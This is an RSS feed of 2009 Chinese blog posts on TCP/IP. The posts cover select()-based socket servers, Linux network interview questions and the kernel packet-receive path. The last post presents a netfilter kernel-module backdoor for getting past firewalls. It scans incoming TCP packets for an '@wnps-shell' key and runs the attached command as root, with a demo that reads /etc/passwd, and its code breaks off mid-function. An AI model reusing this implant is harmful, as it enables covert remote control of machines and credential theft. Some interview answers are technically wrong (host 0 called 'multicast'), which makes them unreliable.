﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-海阔天空-文章分类-Tcp/Ip</title><link>http://www.blogjava.net/shiliqiang/category/40636.html</link><description>I'm on my way!</description><language>zh-cn</language><lastBuildDate>Mon, 14 Dec 2009 04:54:33 GMT</lastBuildDate><pubDate>Mon, 14 Dec 2009 04:54:33 GMT</pubDate><ttl>60</ttl><item><title>socket编程</title><link>http://www.blogjava.net/shiliqiang/articles/305863.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Mon, 14 Dec 2009 03:35:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/305863.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/305863.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/305863.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/305863.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/305863.html</trackback:ping><description><![CDATA[<div id="blog_text" class="cnt"><br />
<div class="articleContent">
<p> <wbr> <wbr> <wbr> 今天只想谈一谈关于阻塞和非阻塞的socket。</p>
<p> <wbr> <wbr> <wbr>
调用socket函数得到的socket的文件标示符，默认情况下是一个阻塞的socket，从应用角度，就是每当调用accept，recv,send
等函数的时候，如果对方没有相应，那么进程会阻塞在那里，直到对方相应。这在应用中有很多不便，尤其是在windows环境中的编程，如果进程被阻塞那么
看上去有一点像死机的感觉。</p>
<p> <wbr> <wbr> <wbr> <wbr> 其实把一个socket设置为非阻塞的也很简单。但是，应用select函数，阻塞socket也可以到达类似的效果。一会详细讨论。</p>
<p> <wbr> <wbr> <wbr>
先考虑一个TCP的连接，当服务器程序listen以后，如果直接调用accept，那么进程会阻塞在那里，一直到被client端connect，然后
开启一个新的线程处理客户的服务，主线程继续监听请求。这样可以实现同时处理多个客户端连接，但是这样是会阻塞主线程，不是一个好的办法。其实，我当然也
可添加一个线程，在&#8220;后台&#8221;accept，但是我觉得这里面有一个多线程操作同一个文件描述符socket的问题。也不是很好。也就是说，如果只用到线程
机制，并不能很好的解决阻塞的问题。</p>
<p> <wbr> <wbr> <wbr> select函数可以对一套文件描述符操作（windows里叫handle,我觉得没有<a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif);" name="baidusnap3"></a><strong style="color: black; background-color: #ff9999;">什么</strong>本
质的区别。都是进程空间里面的一个整数而已），观察这套文件描述符的可读或可写的情况。这样就给我们提供这样一个思路，只有当一个socket是可读的，
也就是有远程连接请求connect或是对套接口write,那么才去调用accept或是read，这样就可以避免阻塞了。</p>
<p> <wbr> <wbr> <wbr>
以准备accept的套接口为例，如果调用socket函数得到的文件描述符为s=3，那么，我可以调用select监视所有4以下的文件描述符的读写特
性。
select(s+1,&amp;fd_readset,&amp;fd_writeset,&amp;fd_errorset,&amp;tv_time).
这个函数是内核等待特定事件的函数，并不是只有套接口可以用。原型是</p>
<p>int select(int maxfdp1,fd_set *readset,fd_set *writeset,fd_set *exceptset,const struct timeval *timeout);</p>
<p> <wbr> <wbr> <wbr> 第一个参数表示观察的最大的文件描述符，一般是你想要观察的<a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif);" name="baidusnap0"></a><strong style="color: black; background-color: #ffff66;">socket+1</strong>，
第二个参数是可读文件描述符set,第三个是可写set,第四个参数是error
set，第五个是超时的时间。如果在超时的时间内没有观察过任何改动，那么函数会清空这几个set（我个人理解），并且返回0；如果出错，会返回-1。否
则返回&gt;0，并且只把可读（可写）的文件描述符保留在对应的set内。所以只要在调用select以前，把等待连接的套接口放到可读set中，如果
发生connect，select会返回&gt;0,这时候可以观察一下套接口是否还在这个set中，如果是，则说明有请求。这个方法可以用于多个套接口
同时监听多个端口的情况。也可以用于一个已经连接的套接口等待对方发送的消息，比如write。</p>
<p> <wbr> <wbr> <wbr> 对于set的操作，有如下几个宏:FD_ZERO,FD_SET,FD_ISSET,FD_CLR.</p>
<p> <wbr> <wbr> <wbr> fd_set myset; //定义描述字集数据类型</p>
<p> <wbr> <wbr> <wbr> FD_ZERO (&amp;myset); //对描述字集初始化</p>
<p> <wbr> <wbr> <wbr> FD_SET(s, &amp;myset); //打开描述字的第s位,也即把套接口加入set中</p>
<p> <wbr> <wbr> <wbr>FD_ISSET(s, &amp;myest) //测试描述字的第s位,这个宏一般是在select之后才会用到。</p>
<p> <wbr> <wbr> FD_CLR(s, &amp;myset） // //关闭描述字的第s位,就是在set中清除s.</p>
<p> <wbr> <wbr> <wbr> 这个函数的使用方法，可以参见下面的程序。就不再细诉了。</p>
<p> <wbr> <wbr> <wbr> FD_ZERO(&amp;fs_ReadSet);<br />
<wbr>FD_SET(iSockets, &amp;fs_ReadSet);<br />
<wbr>iSockNum = iSockets+1;</p>
<p> <wbr> <wbr> <wbr> while(1)<br />
<wbr>{<br />
<wbr> <wbr>FD_ZERO(&amp;fs_WriteSet);<br />
<wbr> <wbr>for (iSocketz = 0; iSocketz&lt;iSockNum; iSocketz++)<br />
<wbr> <wbr>{<br />
<wbr> <wbr> <wbr>if (FD_ISSET(iSocketz, &amp;fs_ReadSet))<br />
<wbr> <wbr> <wbr> <wbr>FD_SET(iSocketz, &amp;fs_WriteSet);<br />
<wbr> <wbr>}</p>
<p> <wbr> <wbr>tv_time.tv_sec = 2;<br />
<wbr> <wbr>tv_time.tv_usec = 500000;<br />
<wbr> <wbr>iRtn = select(iSockNum, &amp;fs_WriteSet, NULL, NULL, &amp;tv_time);<br />
<wbr> <wbr>if (iRtn == -1)<br />
<wbr> <wbr>{<br />
<wbr> <wbr> <wbr>printf("function select error\n");<br />
<wbr> <wbr> <wbr>goto error;<br />
<wbr> <wbr>}<br />
<wbr> <wbr>else if(iRtn == 0)<br />
<wbr> <wbr>{<br />
<wbr> <wbr> <wbr>continue;<br />
<wbr> <wbr>}</p>
<p> <wbr> <wbr>if (FD_ISSET(iSockets, &amp;fs_WriteSet))<br />
<wbr> <wbr>{<br />
<wbr> <wbr> <wbr>iSockLen = sizeof(sa_client);<br />
<wbr> <wbr> <wbr>iSocketz = accept(iSockets, (struct sockaddr*)&amp;sa_client, &amp;iSockLen);<br />
<wbr> <wbr> <wbr>if (iSocketz == -1)<br />
<wbr> <wbr> <wbr>{<br />
<wbr> <wbr> <wbr> <wbr>printf("function accept error \n");<br />
<wbr> <wbr> <wbr> <wbr>goto error;<br />
<wbr> <wbr> <wbr>}<br />
<wbr> <wbr> <wbr>printf("z : %d\n", iSocketz); <wbr><br />
<wbr> <wbr> <wbr><br />
<wbr> <wbr> <wbr>if (iSocketz &gt;=MAX_CLIENT)<br />
<wbr> <wbr> <wbr>{<br />
<wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> close(iSocketz);<br />
<wbr> <wbr> <wbr> <wbr>continue;<br />
<wbr> <wbr> <wbr>}<br />
<wbr> <wbr> <wbr>if (iSockNum &lt; iSocketz+1)<br />
<wbr> <wbr> <wbr> <wbr>iSockNum = iSocketz+1;<br />
<wbr> <wbr> <wbr>FD_SET(iSocketz, &amp;fs_ReadSet);<br />
<wbr> <wbr> <wbr><br />
<wbr> <wbr>}</p>
<p> <wbr> <wbr>for (iSocketz=iSockets+1; iSocketz &lt; iSockNum; iSocketz++)<br />
<wbr> <wbr>{<br />
<wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr><br />
<wbr> <wbr> <wbr>if (FD_ISSET(iSocketz, &amp;fs_WriteSet))<br />
<wbr> <wbr> <wbr>{ <wbr><br />
<wbr> <wbr> <wbr> <wbr>memset(pRcvBuf, 0, BUFFERSIZE);<br />
<wbr> <wbr> <wbr> <wbr>memset(pSndBuf, 0, BUFFERSIZE);<br />
<wbr> <wbr> <wbr> <wbr>iRtn = read(iSocketz, pRcvBuf, BUFFERSIZE);<br />
<wbr> <wbr> <wbr> <wbr>if (iRtn == -1)<br />
<wbr> <wbr> <wbr> <wbr>{<br />
<wbr> <wbr> <wbr> <wbr> <wbr>printf("function read error \n");<br />
<wbr> <wbr> <wbr> <wbr> <wbr>goto error;<br />
<wbr> <wbr> <wbr> <wbr>}<br />
<wbr><br />
<wbr> <wbr> <wbr> <wbr>printf("%s\n", pRcvBuf);</p>
<p> <wbr> <wbr> <wbr> <wbr>pSndBuf[0] = 0;<br />
<wbr> <wbr> <wbr> <wbr>strcpy(pSndBuf, "fuck");<br />
<wbr> <wbr> <wbr> <wbr>iBufLen = sizeof("fuck");</p>
<p> <wbr> <wbr> <wbr> <wbr>iRtn = write(iSocketz, pSndBuf, iBufLen);<br />
<wbr> <wbr> <wbr> <wbr>if (iRtn == -1)<br />
<wbr> <wbr> <wbr> <wbr>{<br />
<wbr> <wbr> <wbr> <wbr> <wbr>printf("function write error \n");<br />
<wbr> <wbr> <wbr> <wbr> <wbr>goto error;<br />
<wbr> <wbr> <wbr> <wbr>}<br />
<wbr> <wbr> <wbr> <wbr><br />
<wbr> <wbr> <wbr> <wbr>if(strcmp(pRcvBuf,"exit")==0)<br />
<wbr> <wbr> <wbr> <wbr>{<br />
<wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> FD_CLR(iSocketz, &amp;fs_ReadSet);<br />
<wbr> <wbr> <wbr> <wbr> <wbr> <wbr> <wbr> close(iSocketz);<br />
<wbr> <wbr> <wbr> <wbr>}<br />
<wbr> <wbr> <wbr>}<br />
<wbr> <wbr> <wbr><br />
<wbr> <wbr>}<br />
<wbr> <wbr>for (iSocketz = iSockNum-1; (iSocketz &gt;iSockets&amp;&amp;!FD_ISSET(iSocketz, &amp;fs_ReadSet)); iSocketz = iSockNum-1)<br />
<wbr> <wbr>{<br />
<wbr> <wbr> <wbr>iSockNum = iSocketz;<br />
<wbr> <wbr>}<br />
<wbr> <wbr>//printf("isockNum: %d\n",iSockNum);<br />
<wbr>}</p>
<p> <wbr> <wbr> <wbr> 至于套接口的通信，我还想说一点，套接口和文件管道差不多，一方读一方写，read会阻塞到对方write，而write不会阻塞。应该是这样了。如果我个人对这个部分的理解有错误。会在以后改正。</p>
</div>
</div>
<img src ="http://www.blogjava.net/shiliqiang/aggbug/305863.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-12-14 11:35 <a href="http://www.blogjava.net/shiliqiang/articles/305863.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux C 网络编程面试题</title><link>http://www.blogjava.net/shiliqiang/articles/304648.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Thu, 03 Dec 2009 07:51:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/304648.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/304648.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/304648.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/304648.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/304648.html</trackback:ping><description><![CDATA[<font size="4" color="#ff0000">基础部份:<br />
<br />
</font><strong>1.下列程序在32位linux或unix中的结果是什么？ </strong><br />
func(char *str)<br />
{<br />
&nbsp;&nbsp;&nbsp; printf("%d",sizeof(str));<br />
&nbsp;&nbsp;&nbsp; printf("%d",strlen(str));<br />
}
<p>main()<br />
{<br />
&nbsp;&nbsp;&nbsp; char a[]="123456789";<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; printf("%d",sizeof(a));<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; func(a);<br />
}<br />
<br />
答: 10&nbsp;&nbsp; 4&nbsp;&nbsp; 9</p>
<br />
<font size="4" color="#ff0000">网络/网络编程部份:<br />
</font><br />
<strong>1、connect方法会阻塞，请问有什么方法可以避免其长时间阻塞？</strong><br />
答:最通常的方法最有效的是加定时器；也可以采用非阻塞模式。<br />
<br />
<strong>2、网络中，如果客户端突然掉线或者重启，服务器端怎么样才能立刻知道？</strong><br />
答:若客户端掉线或者重新启动，服务器端会收到复位信号，每一种tcp/ip得实现不一样，控制机制也不一样。<br />
<br />
<strong>3.在子网210.27.48.21/30种有多少个可用地址？分别是什么？</strong><br />
答:<br />
<br />
简:<br />
30表示的是网络号(network number)是30位，剩下2位中11是广播(broadcast)地址，00是multicast地址，只有01和10可以作为host address。<br />
<br />
详:<br />
210.27.48.21/30
代表的子网的网络号是30位，即网络号是210.27.48.21 &amp;
255.255.255.251=210.27.48.20，此子网的地址空间是2位，即可以有4个地址：210.27.48.20,
210.27.48.21, 210.27.48.22, 210.27.48.23。第一个地址的主机号(host
number/id)是0，而主机号0代表的是multicast地址。最后一个地址的最后两位是11，主机号每一位都为1代表的是广播
(broadcast)地址。所以只有中间两个地址可以给host使用。其实那个问题本身不准确，广播或multicast地止也是可以使用的地址，所以
回答4也应该正确，当然问的人也可能是想要你回答2。我个人觉得最好的回答是一个广播地址，一个multicast地址，2个unicast地址。<br />
<br />
<strong>4.TTL是什么？有什么用处，通常那些工具会用到它？（ping? traceroute? ifconfig? netstat?）</strong><br />
答:<br />
简:TTL是Time To Live，一般是hup count，每经过一个路由就会被减去一，如果它变成0，包会被丢掉。它的主要目的是防止包在有回路的网络上死转，浪费网络资源。ping和traceroute用到它。<br />
<br />
详:TTL
是Time To Live，目前是hup
count，当包每经过一个路由器它就会被减去一，如果它变成0，路由器就会把包丢掉。IP网络往往带有环(loop)，比如子网A和子网B有两个路由器
相连，它就是一个loop。TTL的主要目的是防止包在有回路的网络上死转，因为包的TTL最终后变成0而使得此包从网上消失(此时往往路由器会送一个
ICMP包回来，traceroute就是根据这个做的)。ping会送包出去，所以里面有它，但是ping不一定非要不可它。traceroute则是
完全因为有它才能成的。ifconfig是用来配置网卡的，netstat -rn 是用来列路由表的，所以都用不着它<br />
<br />
<strong>5.路由表示做什么用的？在linux环境中怎么来配置一条默认路由？<br />
</strong>答:<br />
简:路由表是用来决定如何将包从一个子网传送到另一个子网的，换局话说就是用来决定从一个网卡接收到的包应该送的哪一张网卡上的。在Linux上可以用&#8220;route add default gw &lt;默认路由器IP&gt;&#8221;来配置一条默认路由。<br />
<br />
详:
路由表是用来决定如何将包从一个子网传送到另一个子网的，换局话说就是用来决定从一个网卡接收到的包应该送的哪一张网卡上的。路由表的每一行至少有目标网
络号、netmask、到这个子网应该使用的网卡。当路由器从一个网卡接收到一个包时，它扫描路由表的每一行，用里面的netmask和包里的目标IP地
址做并逻辑运算(&amp;)找出目标网络号，如果此网络号和这一行里的网络号相同就将这条路由保留下来做为备用路由，如果已经有备用路由了就在这两条路
由里将网络号最长的留下来，另一条丢掉，如此接着扫描下一行直到结束。如果扫描结束任没有找到任何路由，就用默认路由。确定路由后，直接将包送到对应的网
卡上去。在具体的实现中，路由表可能包含更多的信息为选路由算法的细节所用。题外话：路由算法其实效率很差，而且不scalable，解决办法是使用IP
交换机，比如MPLS。<br />
在Linux上可以用&#8220;route add default gw &lt;默认路由器IP&gt;&#8221;来配置一条默认路由。<br />
<br />
<strong>6.在网络中有两台主机A和B，并通过路由器和其他交换设备连接起来，已经确认物理连接正确无误，怎么来测试这两台机器是否连通？如果不通，怎么来判断故障点？怎么排除故障？</strong><br />
答:测试这两台机器是否连通：从一台机器ping另一台机器<br />
&nbsp;&nbsp;&nbsp;&nbsp; 如果ping不通，用traceroute可以确定是哪个路由器不能连通，然后再找问题是在交换设备/hup/cable等。<br />
<br />
<strong>7.网络编程中设计并发服务器，使用多进程 与 多线程 ，请问有什么区别？ </strong><br />
答案一:<br />
1，进程：子进程是父进程的复制品。子进程获得父进程数据空间、堆和栈的复制品。<br />
2，线程：相对与进程而言，线程是一个更加接近与执行体的概念，它可以与同进程的其他线程共享数据，但拥有自己的栈空间，拥有独立的执行序列。<br />
两者都可以提高程序的并发度，提高程序运行效率和响应时间。<br />
线程和进程在使用上各有优缺点：线程执行开销小，但不利于资源管理和保护；而进程正相反。同时，线程适合于在SMP机器上运行，而进程则可以跨机器迁移。<br />
<br />
答案二:<br />
根本区别就一点：用多进程每个进程有自己的地址空间(address space)，线程则共享地址空间。所有其它区别都是由此而来的：<br />
1。速度：线程产生的速度快，线程间的通讯快、切换快等，因为他们在同一个地址空间内。<br />
2。资源利用率：线程的资源利用率比较好也是因为他们在同一个地址空间内。<br />
3。同步问题：线程使用公共变量/内存时需要使用同步机制还是因为他们在同一个地址空间内。
<img src ="http://www.blogjava.net/shiliqiang/aggbug/304648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-12-03 15:51 <a href="http://www.blogjava.net/shiliqiang/articles/304648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux （2.6.24.4）网卡接收数据包的流程</title><link>http://www.blogjava.net/shiliqiang/articles/304505.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Wed, 02 Dec 2009 05:32:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/304505.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/304505.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/304505.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/304505.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/304505.html</trackback:ping><description><![CDATA[<div>2.6.24.4内核网络接收数据包分析<br />
瀚海书香</div>
<div>在2.6.24.4中所有的网卡，不管是否支持napi，都是通过struct napi_struct结构进行。所有我们先说一下这个结构。<br />
struct napi_struct{<br />
&nbsp;&nbsp; struct list_head poll_list;<br />
&nbsp;&nbsp; unsigned long state;<br />
&nbsp;&nbsp; int weight;<br />
&nbsp;&nbsp; int (*poll)(struct napi_struct *,int);<br />
}<br />
对应支持napi的网卡，自己填充这个结构体；而非napi网卡，则使用per cpu的softnet_data&gt;backlog,这个结构的初始化在net_dev_init()中完成。<br />
我们先说一下非napi机制的网卡：<br />
&nbsp;&nbsp;&nbsp;
网卡接收到数据包后dma到内核空间，然后调用netif_rx()将数据包挂接到softnet_data&gt;input_pkt_queue中，
如果backlog这个napi_struct没有被调度，则napi_schedule(&amp;backlog).napi_schedule()
会将backlog的poll_list挂接到softnet_data-&gt;poll_list上，同时出发软中断NET_RX_SOFTIRQ。
NET_RX_SOFTIRQ软中断，调用相应的函数net_rx_action()。</div>
<div>对应napi机制的网卡：<br />
&nbsp;&nbsp;&nbsp;&nbsp;
网卡初始化是会自己初始化一个自己的数据包接收队列，当有数据包到达时，将数据包dma到自己的数据包队列中，如果自己的napi没有调度，则
napi_schedule(mynapi),这里的mynapi是网卡自己的napi_struct.napi_schedule()会将网卡自己的
poll_list挂接到softnet_data-&gt;poll_list上，同时出发软中断NET_RX_SOFTIRQ。
NET_RX_SOFTIRQ软中断，调用相应的函数net_rx_action()。</div>
<div>&nbsp;</div>
<div>net_rx_action()：<br />
&nbsp;&nbsp;&nbsp;
首先获取softnet_data-&gt;poll_list，通过遍历poll_list，获取每个poll_list对应的napi_struct
结构(container_of实现)，然后根据napi_struct的weight调用poll函数，如果是非napi网卡，这里的
napi_struct是backlog，所以poll函数就是process_backlog;如果是napi的网卡，则会使自己的poll函数。<br />
napi网卡的poll函数就是从自己数据包队列中dequeue出一个skb,然后调用netif_receive_skb().<br />
非napi的process_backlog会获取softnet_data-&gt;input_pkt_queue，然后对队列input_pkt_queue进行dequeue操作，获得一个skb，之后调用netif_receive_skb(skb)。</div>
<div>netif_receive_skb():<br />
&nbsp;&nbsp;&nbsp;
对skb做一些准备工作，例如设置mac_len等，调用deliver_skb()给所有的注册ptype_all类型的协议处理handle，然后是
网桥和VLAN的处理，之后会给注册的相应协议的ptype_base的handle。这里假设是ip协议，则会调用相应的ip协议handle的处理函
数ip_rcv。</div>
<div>ip_rcv():<br />
&nbsp;&nbsp;&nbsp;
对skb做一些检查工作,如果skb-&gt;users!=1，则clone一个skb,之后会转入netfilter的
NF_IP_PRE_ROUTING的hook点，调用所有在该点注册的hook函数。比如说如果开启了conntrack，则会在这里进行数据包重组。
之后调用ip_rcv_finish().</div>
<div>ip_rcv_finish():<br />
&nbsp;&nbsp;&nbsp; 首先调用ip_route_input()决定数据包的路由，初始化skb-&gt;dst，调用dst_input(skb).</div>
<div>dst_input():<br />
&nbsp;&nbsp;&nbsp;
实际上是调用skb-&gt;dst-&gt;input(skb)，对应input的初始化在route.c中。如果是发往本地的数据包
dst-&gt;input=ip_local_deliver;如果是转发的数据包dst-&gt;input=ip_forward;</div>
<div>本地流程：<br />
ip_local_deliver():<br />
&nbsp;&nbsp;&nbsp; 首先是对分片的数据包重组，会转入netfilter的NF_IP_LOCAL_IN的hook点，调用所有在该点注册的hook函数。之后会调用ip_local_deliver_finish()，之后就到第四层了。</div>
<div>转发流程：<br />
ip_forward():<br />
&nbsp;&nbsp;&nbsp; 做一些源路由等方面的检查后，会转入netfilter的NF_IP_FORWARD的hook点，调用所有在该点注册的hook函数。之后会调用ip_forward_finish().</div>
<div>ip_forward_finish():<br />
&nbsp;&nbsp;&nbsp; 调用dst_output().</div>
<div>dst_output():<br />
&nbsp;&nbsp;&nbsp; skb-&gt;dst-&gt;output(skb).一般output=ip_output.</div>
<div>ip_output():<br />
&nbsp;&nbsp;&nbsp; 设置skb的dev为发包的dev,同时设置skb-&gt;protocol,会转入netfilter的NF_IP_POST_ROUTING的hook点，调用所有在该点注册的hook函数。之后会调用ip_finish_output().</div>
<div>ip_finish_output():<br />
&nbsp;&nbsp;&nbsp; 检查一下数据包是否需要分片，如果需要分片，则进行ip_fragement()，之后调用ip_finish_output2().</div>
<div>ip_finish_output2():<br />
&nbsp;&nbsp;&nbsp; 根据neighbour，调用dst-&gt;neighbour-&gt;output.</div>
<div>到这为止，数据包会经过dev_queue_xmit放入dev的qdisc中。之后就是流控出队列。<br />
<br />
出处:http://pengliang.cublog.cn<br />
</div>
<img src ="http://www.blogjava.net/shiliqiang/aggbug/304505.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-12-02 13:32 <a href="http://www.blogjava.net/shiliqiang/articles/304505.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用netfilter来突破防火墙， 实现远程执行命令</title><link>http://www.blogjava.net/shiliqiang/articles/301159.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Wed, 04 Nov 2009 13:33:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/301159.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/301159.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/301159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/301159.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/301159.html</trackback:ping><description><![CDATA[前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包，
hook点是NF_IP_PRE_ROUTING， 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了，
可以实现防火墙， 嗅探器， 当然也可以用来触发回连后门， wnps就是这么来作的， 因此不管主机防火墙作的规则如何变态，
都有机会穿透它。下面这个demo用来演示分析tcp包的内容， 分析出里面的命令， 然后去执行它， 有点类似以前的icmp, ip包后门，
只不过这些都在内核来完成， 功能更强大。<br />
demo在ubuntu8.10 + 2.6.28上测试成功。<br />
<br />
wzt@wzt-laptop:~$ nc -vv localhost 22<br />
localhost [127.0.0.1] 22 (ssh) open<br />
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1<br />
@wnps-shell:cat /etc/passwd &gt; /home/wzt/pass.log<br />
Protocol mismatch.<br />
sent 49, rcvd 58<br />
<br />
demsg:<br />
[  957.255416] kexec test start ...<br />
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .<br />
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd &gt; /home/wzt/pass.log<br />
[ 1029.692985] <br />
<br />
wzt@wzt-laptop:~$ ls -lht pass.log<br />
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log<br />
<br />
+---------------------------------------------------------------------+<br />
<br />
#include &lt;linux/kernel.h&gt;<br />
#include &lt;linux/init.h&gt;<br />
#include &lt;linux/module.h&gt;<br />
#include &lt;linux/version.h&gt;<br />
#include &lt;linux/string.h&gt;<br />
#include &lt;linux/kmod.h&gt;<br />
#include &lt;linux/vmalloc.h&gt;<br />
#include &lt;linux/workqueue.h&gt;<br />
#include &lt;linux/spinlock.h&gt;<br />
#include &lt;linux/socket.h&gt;<br />
#include &lt;linux/net.h&gt;<br />
#include &lt;linux/in.h&gt;<br />
#include &lt;linux/skbuff.h&gt;<br />
#include &lt;linux/ip.h&gt;<br />
#include &lt;linux/tcp.h&gt;<br />
#include &lt;linux/netfilter.h&gt;<br />
#include &lt;linux/netfilter_ipv4.h&gt;<br />
#include &lt;linux/icmp.h&gt;<br />
#include &lt;net/sock.h&gt;<br />
#include &lt;asm/uaccess.h&gt;<br />
#include &lt;asm/unistd.h&gt;<br />
<br />
#define HOOK_DEBUG<br />
<br />
#ifdef HOOK_DEBUG<br />
#define DbgPrint(format, args...) \<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);<br />
#else<br />
#define DbgPrint(format, args...)  do {} while(0);<br />
#endif<br />
<br />
#define TCP_SHELL_KEY&nbsp;&nbsp;   "@wnps-shell"<br />
<br />
#define PORT_NUM&nbsp;&nbsp;&nbsp;   6<br />
#define IP_NUM&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   20<br />
#define BUFF_NUM&nbsp;&nbsp;&nbsp;   512<br />
<br />
MODULE_LICENSE("GPL");<br />
MODULE_AUTHOR("wzt");<br />
<br />
struct exec_work {<br />
&nbsp;&nbsp;&nbsp;   struct work_struct work;<br />
&nbsp;&nbsp;&nbsp;   char *cmd;<br />
};<br />
<br />
static struct nf_hook_ops nfho;<br />
<br />
int kexec_user_app(void *data)<br />
{<br />
&nbsp;&nbsp;&nbsp;   struct exec_work *work = data;<br />
&nbsp;&nbsp;&nbsp;   int ret;<br />
&nbsp;&nbsp;&nbsp;   char *argv[] = {"/bin/sh", "-c", work-&gt;cmd,  NULL};<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   char *envp[] = { "HOME=/",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   "TERM=linux",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   "PATH=/sbin:/usr/sbin:/bin:/usr/bin",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   NULL };<br />
&nbsp;&nbsp;&nbsp;   ret = call_usermodehelper(argv[0], argv, envp, 1);<br />
<br />
&nbsp;&nbsp;&nbsp;   return ret;<br />
}<br />
<br />
int execute_user_command(char *cmd)<br />
{<br />
&nbsp;&nbsp;&nbsp;   struct exec_work *exec_work;<br />
<br />
&nbsp;&nbsp;&nbsp;   exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);<br />
&nbsp;&nbsp;&nbsp;   exec_work-&gt;cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);<br />
<br />
&nbsp;&nbsp;&nbsp;   INIT_WORK(&amp;exec_work-&gt;work, kexec_user_app);<br />
&nbsp;&nbsp;&nbsp;   strncpy(exec_work-&gt;cmd, cmd, strlen(cmd) + 1);<br />
<br />
&nbsp;&nbsp;&nbsp;   schedule_work(&amp;exec_work-&gt;work);<br />
<br />
&nbsp;&nbsp;&nbsp;   return 0;<br />
}<br />
<br />
unsigned int hook_func(unsigned int hooknum,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   struct sk_buff **skb,<br />
